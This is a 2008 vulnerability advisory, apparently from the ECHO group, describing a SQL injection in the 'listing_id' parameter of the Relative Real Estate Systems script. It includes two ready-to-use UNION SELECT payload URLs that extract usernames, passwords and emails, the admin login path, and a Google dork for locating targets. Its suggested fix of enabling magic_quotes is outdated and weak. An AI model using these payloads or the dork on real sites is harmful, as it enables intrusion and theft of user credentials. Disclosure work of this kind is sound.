[ECHO_ADV_99$2008] Relative Real Estate Systems <= 3.0 (listing_id) Sql Injection Vulnerability

2008-06-26T00:00:00
ID SECURITYVULNS:DOC:20085
Type securityvulns
Reporter Securityvulns
Modified 2008-06-26T00:00:00

Description

ECHO_ADV_99$2008


[ECHO_ADV_99$2008] Relative Real Estate Systems <= 3.0 (listing_id) Sql Injection Vulnerability

Author : M.Hasran Addahroni Date : June, 24 th 2008 Location : Jakarta, Indonesia Web : http://e-rdc.org/v1/news.php?readmore=101 Critical Lvl : Medium Impact : System access Where : From Remote


Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Relative Real Estate Systems version : <= 3.0 Vendor : http://www.dboorn.com/estate/ Description :

Elegant real estate script that allows for unlimited listings and agents with featured listings, unlimited photos, advanced search engine, user login option, user tracking, dynamic slide shows, Mls/Idx support, multiple agents with photo, mortgage calculator, schools info, C.M.A. request form, full admin panel.Requires PHP/Mysql Windows Server or any Web server with php support.


Vulnerability: ~~~~~~~~~~~~~

Input passed to the "listing_id" parameter in index.php is not properly verified before being used in an sql query. This can be exploited thru the browser to manipulate SQL queries and pull the username and password from realtors and users in plain text. Successful exploitation requires that "magic_quotes" is off.

Poc/Exploit: ~~~~~~~~~

http://[URL]/[path]/index.php?go=listings&listing_id=-30%20union%20select%201,2,3,4,5,6,7,8,concat(id,0x3a,username,0x3a,password,0x3a,email),0,1,2,3,4,5,6,7,8,9,0,1%20from%20realtors--

http://[URL]/[path]/index.php?go=listings&listing_id=-30%20union%20select%201,2,3,4,5,6,7,8,concat(username,0x3a,password),0,1,2,3,4,5,6,7,8,9,0,1%20from%20users--

Admin Login at http://[URL]/[PATH]/Admin/login_index.php

Dork: ~~~~ Google : "index.php?go=listings&listing"

Solution: ~~~~~~

  • Edit the source code to ensure that input is properly verified.
  • Turn on magic_quotes in php.ini

Timeline: ~~~~~~~~

  • 24 - 06 - 2008 bug found
  • 24 - 06 - 2008 vendor contacted
  • 24 - 06 - 2008 advisory released

Shoutz: ~~~~ ~ ping - my dearest wife, zautha - my little warrior ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az001,negative, the_hydra,neng chika, str0ke ~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOCIATES ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank, super_temon, b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b ~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,cR4SH3R, kuntua, stev_manado,nofry,k1tk4t,0pt1c ~ newbie_hacker@yahoogroups.com ~ #aikmel #e-c-h-o @irc.dal.net


Contact: ~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://www.e-rdc.org/

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